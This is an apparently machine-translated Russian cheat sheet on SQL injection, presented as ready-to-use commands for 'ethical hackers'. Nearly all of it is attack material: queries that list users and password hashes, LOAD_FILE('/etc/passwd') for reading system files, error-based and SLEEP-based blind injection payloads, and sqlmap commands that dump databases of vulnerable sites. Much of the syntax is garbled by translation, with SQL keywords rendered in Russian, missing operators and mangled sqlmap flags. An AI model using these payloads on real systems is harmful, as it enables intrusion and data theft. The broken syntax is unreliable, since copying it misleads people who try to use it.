Памятка по SQL-инъекциям
SQL-инъекция — это распространенная уязвимость в веб-приложениях, которую можно использовать для внедрения вредоносного кода SQL в базу данных. Злоумышленник, знающий правильный синтаксис для внедрения команд SQL в серверную часть приложения, может использовать это для выполнения несанкционированных или деструктивных действий от имени целевого пользователя. Этичный хакер всегда должен проверять и выявлять потенциальные уязвимости SQL-инъекций, поскольку они являются одной из наиболее часто используемых атак в современном цифровом мире.
Вся цель Шпаргалки состоит в том, чтобы предоставить вам несколько быстрых и точных готовых к использованию команд и необходимых запросов Sqlmap, которые помогут вам с SQL-инъекциями.
Основы SQL:
| С. Нет. | Параметры | SQL-запросы/примеры | 
|---|---|---|
| 1. | Версия | ВЫБЕРИТЕ @@версию; | 
| 2. | Комментарии | / / ОУ # | 
| 3. | Текущий пользователь | ВЫБЕРИТЕ пользователя (); || ВЫБЕРИТЕ системный_пользователь() | 
| 4. | Список пользователей | ВЫБЕРИТЕ пользователя ИЗ mysql.user; | 
| 5. | Список хэшей паролей | ВЫБЕРИТЕ хост, пользователя, пароль ОТ mysql.user; | 
| 6. | Текущая база данных | ВЫБЕРИТЕ базу данных () | 
| 7. | Список баз данных | ВЫБЕРИТЕ имя_схемы ИЗ information_schema.schemata; || ВЫБЕРИТЕ отдельный (дБ) ИЗ mysql.db | 
| 8. | Список таблиц | ВЫБЕРИТЕ table_schema, table_name FROM information_schema.tables, ГДЕ table_schema != 'mysql' AND table_schema != 'information_schema' | 
| 9. | Список столбцов | ВЫБЕРИТЕ table_schema, table_name, column_name FROM information_schema.columns, ГДЕ table_schema != 'mysql' AND table_schema != 'information_schema' | 
| 10. | Найти таблицы по имени столбца | ВЫБЕРИТЕ table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; | 
| 11. | Временная задержка | ВЫБЕРИТЕ ЭТАЛОН (1000000, MD5 ('A')); ВЫБЕРИТЕ СОН (5); # >= 5.0.12 | 
| 12. | Локальный доступ к файлам | ОБЪЕДИНЕНИЕ ВСЕ ВЫБРАТЬ LOAD_FILE('/etc/passwd') | 
| 13. | Имя хоста/IP-адрес | ВЫБЕРИТЕ @@имя хоста; | 
| 14. | Создать пользователя | СОЗДАТЬ ПОЛЬЗОВАТЕЛЬСКОГО ПОЛЬЗОВАТЕЛЯ test1, ОПРЕДЕЛЕННОГО 'pass1'; | 
| 15. | Удалить пользователя Расположение файла db | ВЫБЕРИТЕ @@datadir; | 
Основные команды SQLMap:
| С. Нет | Параметры | Синтаксис запросов SQLMap | 
|---|---|---|
| 1. | Атака на базу данных уязвимого веб-сайта | sqlmap -u «Уязвимый URL» -dbs | 
| 2. | Получить таблицы из базы данных уязвимого веб-сайта | sqlmap -u «Уязвимый URL-адрес» -table -D [имя базы данных] | 
| 3. | Чтобы получить столбцы таблицы на уязвимом веб-сайте | sqlmap -u «Уязвимый URL» -columns -D [имя базы данных] -T [имя таблицы] | 
| 4. | Сбросить все значения таблицы Vulnerable Website | sqlmap -u «Уязвимый URL-адрес» -dump -D [имя базы данных] -T [имя таблицы] | 
Атаки вручную на SQLMap:
| С. Нет. | Параметры атаки вручную | Запросы/примеры SQLMap | 
|---|---|---|
| 1. | Быстрое обнаружение целых чисел | выберите 1 и строку (1,1)> (выберите количество (), concat (CONCAT (@@VERSION), 0x3a, пол (rand () 2)) x из (выберите 1 объединение выберите 2) группу по x предел 1 )) | 
| 2. | Быстрое обнаружение STRINGS | '+(выбрать 1 и строку(1,1)>(выбрать count(),concat(CONCAT(@@VERSION),0x3a,floor(rand()2))x from (выбрать 1 объединение выбрать 2)группу по х предел 1))+' | 
| 3. | Очистить тест SQL | product.php?id=4 product.php?id=5-1 product.php?id=4 ИЛИ 1=1 product.php?id=-1 ИЛИ 17-7=10 | 
| 4. | Слепая SQL-инъекция | SLEEP(25)– SELECT BENCHMARK(1000000,MD5('A')); | 
| 5. | Образец реального мира | ProductID=1 ИЛИ SLEEP(25)=0 LIMIT 1 – ProductID=1) ИЛИ SLEEP(25)=0 LIMIT 1 – ProductID=1′ ИЛИ SLEEP(25)=0 LIMIT 1 – ProductID=1′) ИЛИ SLEEP(25 )=0 LIMIT 1– ProductID=1)) OR SLEEP(25)=0 LIMIT 1– ProductID=SELECT SLEEP(25)– | 
Вы также можете узнать больше о SQL-инъекциях из статьи: Как использовать SQLMAP для проверки веб-сайта на уязвимость SQL-инъекций.